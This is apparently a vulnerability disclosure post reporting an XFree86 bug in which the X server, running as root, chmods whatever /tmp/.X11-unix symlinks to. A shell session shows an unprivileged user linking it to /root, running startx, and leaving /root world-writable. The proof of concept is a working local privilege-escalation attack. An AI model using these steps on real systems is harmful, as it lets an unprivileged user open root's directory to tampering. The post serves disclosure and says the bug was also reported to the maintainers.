Following a bugtraq report of NetBSD X11 chmoding /root to
1777 by following a symlink in /tmp I tried it under Linux.

This is an XFree86 bug, and because it sets the permissions
on /tmp/.X11-unix as root, the server will chmod any
directory symlinked from that directory in /tmp.

It has been confirmed on i386 platform but will likely
effect all platforms.

********************** example ********************
bash$ id
uid=543(tester) gid=100(users) groups=100(users)
bash$ pwd
/home/tester
bash$ cd /tmp
bash$ ls -la
total 3
drwxrwxrwt   3 root     root         1024 Mar 25 19:11 .
drwxr-xr-x  18 root     root         1024 Mar 24 10:50 ..
bash$ ls -ld /root
drwx------   5 root     root         1024 Mar 25 19:02 /root
bash$ ln -sf /root .X11-unix
bash$ ls -l .X11-unix
lrwxrwxrwx   1 tester   users           5 Mar 25 19:47
.X11-unix -> /root
bash$ startx
(X output removed)
^C
waiting for X server to shut down

bash$ ls -ld /root
drwxrwxrwt   5 root     root         1024 Mar 25 19:47 /root

******************** end example *************************

I have also submitted this to xfree86@xfree86.org